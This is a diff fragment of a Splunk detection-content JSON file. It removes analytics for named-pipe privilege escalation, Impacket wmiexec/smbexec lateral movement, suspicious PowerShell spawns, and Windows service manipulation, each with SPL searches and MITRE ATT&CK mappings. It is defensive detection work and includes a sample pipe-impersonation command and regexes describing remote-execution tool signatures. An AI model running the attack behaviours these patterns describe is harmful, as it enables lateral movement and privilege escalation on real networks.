[ - { - "name": "process_name", - "type": "Process", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The process $process_name$ was executed on $dest$ related to SOAPHound.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } } ], "external_reference": [ @@ -187964,60 +150079,6 @@ "source_data_element": "process", "relationship": "modified", "target_data_element": "firmware" - }, - { - "name": "Detect Software Download To Network Device", - "description": "The following analytic identifies unauthorized software downloads to network devices via TFTP, FTP, or SSH/SCP. It detects this activity by analyzing network traffic events on specific ports (69, 21, 22) from devices categorized as network, router, or switch. This activity is significant because adversaries may exploit netbooting to load unauthorized operating systems, potentially compromising network integrity. If confirmed malicious, this could lead to unauthorized control over network devices, enabling further attacks, data exfiltration, or persistent access within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where (All_Traffic.transport=udp AND All_Traffic.dest_port=69) OR (All_Traffic.transport=tcp AND All_Traffic.dest_port=21) OR (All_Traffic.transport=tcp AND All_Traffic.dest_port=22) AND All_Traffic.dest_category!=common_software_repo_destination AND All_Traffic.src_category=network OR All_Traffic.src_category=router OR All_Traffic.src_category=switch by All_Traffic.src All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(\"All_Traffic\")` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_software_download_to_network_device_filter`", - "tags": { - "analytic_story": [ - "Router and Infrastructure Security" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1542.005", - "mitre_attack_technique": "TFTP Boot", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1542", - "mitre_attack_technique": "Pre-OS Boot", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -188943,2126 +151004,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" ] - }, - { - "name": "CMD Echo Pipe - Escalation", - "description": "The following analytic identifies the use of named-pipe impersonation for privilege escalation, commonly associated with Cobalt Strike and similar frameworks. It detects command-line executions where `cmd.exe` uses `echo` to write to a named pipe, such as `cmd.exe /c echo 4sgryt3436 > \\\\.\\Pipe\\5erg53`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This activity is significant as it indicates potential privilege escalation attempts. If confirmed malicious, attackers could gain elevated privileges, enabling further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_cmd` OR Processes.process=*%comspec%* (Processes.process=*echo* AND Processes.process=*pipe*) by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `cmd_echo_pipe___escalation_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ potentially performing privilege escalation using named pipes related to Cobalt Strike and other frameworks.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Impacket Lateral Movement Commandline Parameters", - "description": "The following analytic identifies the use of suspicious command-line parameters associated with Impacket tools, such as `wmiexec.py`, `smbexec.py`, `dcomexec.py`, and `atexec.py`, which are used for lateral movement and remote code execution. It detects these activities by analyzing process execution logs from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns. This activity is significant because Impacket tools are commonly used by adversaries and Red Teams to move laterally within a network. If confirmed malicious, this could allow attackers to execute commands remotely, potentially leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=cmd.exe (Processes.process = \"*/Q /c * \\\\\\\\127.0.0.1\\\\*$*\" AND Processes.process IN (\"*2>&1*\",\"*2>&1*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `impacket_lateral_movement_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command line parameters on $dest$ may represent a lateral movement attack with Impackets tools", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Impacket Lateral Movement smbexec CommandLine Parameters", - "description": "The following analytic identifies suspicious command-line parameters associated with the use of Impacket's smbexec.py for lateral movement. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns indicative of Impacket tool usage. This activity is significant as both Red Teams and adversaries use Impacket for remote code execution and lateral movement. If confirmed malicious, this activity could allow attackers to execute commands on remote endpoints, potentially leading to unauthorized access, data exfiltration, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=cmd.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | where match(process, \"(?i)cmd\\.exe\\s+\\/Q\\s+\\/c\") AND match(process,\"(?i)echo\\s+cd\") AND match(process, \"(?i)\\\\__output\") AND match(process, \"(?i)C:\\\\\\\\Windows\\\\\\\\[a-zA-Z]{1,8}\\\\.bat\") AND match(process, \"\\\\\\\\127\\.0\\.0\\.1\\\\.*\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `impacket_lateral_movement_smbexec_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command-line parameters on $dest$ may represent lateral movement using smbexec.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Impacket Lateral Movement WMIExec Commandline Parameters", - "description": "The following analytic detects the use of Impacket's `wmiexec.py` tool for lateral movement by identifying specific command-line parameters. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes spawned by `wmiprvse.exe` with command-line patterns indicative of Impacket usage. This activity is significant as Impacket tools are commonly used by adversaries for remote code execution and lateral movement within a network. If confirmed malicious, this could allow attackers to execute arbitrary commands on remote systems, potentially leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=wmiprvse.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | where match(process, \"(?i)cmd\\.exe\\s+\\/Q\\s+\\/c\") AND match(process, \"\\\\\\\\127\\.0\\.0\\.1\\\\.*\") AND match(process, \"__\\\\d{1,10}\\\\.\\\\d{1,10}\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `impacket_lateral_movement_wmiexec_commandline_parameters_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "CISA AA22-277A", - "Data Destruction", - "Graceful Wipe Out Attack", - "Industroyer2", - "Prestige Ransomware", - "Volt Typhoon", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious command-line parameters on $dest$ may represent lateral movement using wmiexec.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.002", - "mitre_attack_technique": "SMB/Windows Admin Shares", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "APT3", - "APT32", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "FIN13", - "FIN8", - "Fox Kitten", - "Ke3chang", - "Lazarus Group", - "Moses Staff", - "Orangeworm", - "Sandworm Team", - "Threat Group-1314", - "ToddyCat", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Possible Lateral Movement PowerShell Spawn", - "description": "The following analytic detects the spawning of a PowerShell process as a child or grandchild of commonly abused processes like services.exe, wmiprsve.exe, svchost.exe, wsmprovhost.exe, and mmc.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names, as well as command-line executions. This activity is significant as it often indicates lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this behavior could allow attackers to execute code remotely, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=wmiprvse.exe OR Processes.parent_process_name=services.exe OR Processes.parent_process_name=svchost.exe OR Processes.parent_process_name=wsmprovhost.exe OR Processes.parent_process_name=mmc.exe) (Processes.process_name=powershell.exe OR (Processes.process_name=cmd.exe AND Processes.process=*powershell.exe*) OR Processes.process_name=pwsh.exe OR (Processes.process_name=cmd.exe AND Processes.process=*pwsh.exe*)) NOT (Processes.process IN (\"*c:\\windows\\ccm\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `possible_lateral_movement_powershell_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell process was spawned as a child process of typically abused processes on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Randomly Generated Windows Service Name", - "description": "The following analytic detects the installation of a Windows Service with a suspicious, high-entropy name, indicating potential malicious activity. It leverages Event ID 7045 and the `ut_shannon` function from the URL ToolBox Splunk application to identify services with random names. This behavior is significant as adversaries often use randomly named services for lateral movement and remote code execution. If confirmed malicious, this activity could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment.", - "search": " `wineventlog_system` EventCode=7045 | lookup ut_shannon_lookup word as Service_Name | where ut_shannon > 3 | table EventCode ComputerName Service_Name ut_shannon Service_Start_Type Service_Type Service_File_Name | `randomly_generated_windows_service_name_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Service_File_Name", - "type": "Other", - "role": [ - "Other" - ] - }, - { - "name": "ComputerName", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Service with a suspicious service name was installed on $ComputerName$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Sc exe Manipulating Windows Services", - "description": "The following analytic detects the creation or modification of Windows services using the sc.exe command. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because manipulating Windows services can be a method for attackers to establish persistence, escalate privileges, or execute arbitrary code. If confirmed malicious, this behavior could allow an attacker to maintain long-term access, disrupt services, or gain control over critical system functions, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = sc.exe (Processes.process=\"* create *\" OR Processes.process=\"* config *\") by Processes.process_name Processes.parent_process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `sc_exe_manipulating_windows_services_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "DHS Report TA18-074A", - "Disabling Security Tools", - "NOBELIUM Group", - "Orangeworm Attack Group", - "Windows Drivers", - "Windows Persistence Techniques", - "Windows Service Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ 